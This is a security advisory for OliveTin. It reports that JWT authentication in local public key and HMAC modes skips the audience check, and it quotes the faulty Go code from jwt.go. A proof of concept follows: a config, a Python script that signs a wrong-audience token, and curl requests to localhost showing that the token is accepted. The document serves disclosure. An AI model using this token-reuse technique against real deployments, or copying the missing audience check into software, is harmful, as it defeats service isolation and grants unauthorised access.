GHSA-g962-2j28-3cg9

### Summary When JWT authentication is configured using either: - `authJwtPubKeyPath` (local RSA public key), or - `authJwtHmacSecret` (HMAC secret), the configured audience value (`authJwtAud`) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service. ### Details **Affected Code** File: `jwt.go` Lines: 51–59, 144–157, 161–168 **Current Behavior** Remote JWKS Mode (Correct): ```go return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud)) ``` Audience validation is enforced. Local Public Key Mode (Vulnerable): ```go return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... }) ``` No `jwt.WithAudience()` option is provided. HMAC Mode (Vulnerable): ```go return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... }) ``` No `jwt.WithAudience()` option is provided. **Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted. ### PoC 1. **Configure OliveTin** Use a minimal config with JWT local key authentication: ```yaml authJwtPubKeyPath: ./public.pem authJwtHeader: Authorization authJwtClaimUsername: sub authJwtAud: expected-audience authRequireGuestsToLogin: true ``` 2. **Generate a Wrong-Audience Token** ```python python3 - <<EOF import jwt, datetime with open("private.pem") as f: key = f.read() token = jwt.encode( { "sub": "low", "aud": "wrong-audience", # intentionally wrong "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30) }, key, algorithm="RS256" ) print(token) EOF ``` This prints the `$WRONG_AUD_TOKEN`. 3. **Test Without Token (Baseline)** ```bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -d '{}' ``` Expected response: ``` HTTP/1.1 401 Unauthorized ``` 4. **Test With Wrong-Audience Token** ```bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $WRONG_AUD_TOKEN" \ -d '{}' ``` Expected response: ``` HTTP/1.1 200 OK {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""} ``` Authentication succeeds even though the `aud` claim is incorrect. ### Impact An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully. This enables: - Cross-service token reuse - Authentication using tokens issued for other systems - Trust boundary violation in multi-service environments This is particularly severe when: - OliveTin is deployed behind a centralized SSO provider - The same signing key is reused across services - Audience restrictions are relied upon for service isolation This does **not** bypass ACL authorization. It is strictly an authentication validation flaw.